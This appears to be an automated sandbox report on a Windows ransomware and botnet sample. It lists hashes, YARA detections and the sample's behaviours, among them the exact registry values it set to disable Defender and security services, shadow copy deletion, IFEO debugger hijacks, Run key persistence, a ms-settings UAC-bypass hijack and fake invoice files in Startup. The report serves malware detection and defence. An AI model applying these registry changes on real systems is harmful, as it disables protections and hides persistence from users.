Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/05/2026, 21:29
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260130-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260508-1b1fzaev2v
- SHA256 0f9e391b37b51796f13daf9b7b842ddeace82b6ea707cc05697878ad2a27c2ea
- MD5 702f5a10951f024f90410592f3181eab
- SHA1 21de3eed249f2c16369bcadc068c0d7d493d9b03
- SHA512 e5bb828c44628ad8591c4fa109e3947707faff87537471736c3f4fe18d93ab1e35f1f194832afb3439e3a65aa4b975449689ff5e1a0a0a174d96d85fe942d264
- SSDEEP 768:BhTDb3uOriwbkQy/ojg4g//o4CC1XXGblfA0T1KFcb:vTXu49RgI4CEXGblf9T1ucb
- TLSH T15B33F70477F98211F1FF4ABA8DB192119731F8979C22D78E06D5058E1AB3B40CEE8B67
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4100-0-0x0000000000CD0000-0x0000000000CE2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024713-2386.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/4100-0-0x0000000000CD0000-0x0000000000CE2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x0007000000024713-2386.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/4100-0-0x0000000000CD0000-0x0000000000CE2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x0007000000024713-2386.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2588 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1520 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5168 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 716 sc.exe 1864 sc.exe 3432 sc.exe 5012 sc.exe 4360 sc.exe 4220 sc.exe 4680 sc.exe 1940 sc.exe 1624 sc.exe 5040 sc.exe 4256 sc.exe 6132 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1956 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1576 ipconfig.exe 5440 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5568 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6076 vssadmin.exe 1540 vssadmin.exe 5352 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134227493668477978" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open\command 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open\command 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\ms-settings\shell\open 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1776 schtasks.exe 6124 schtasks.exe 6116 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
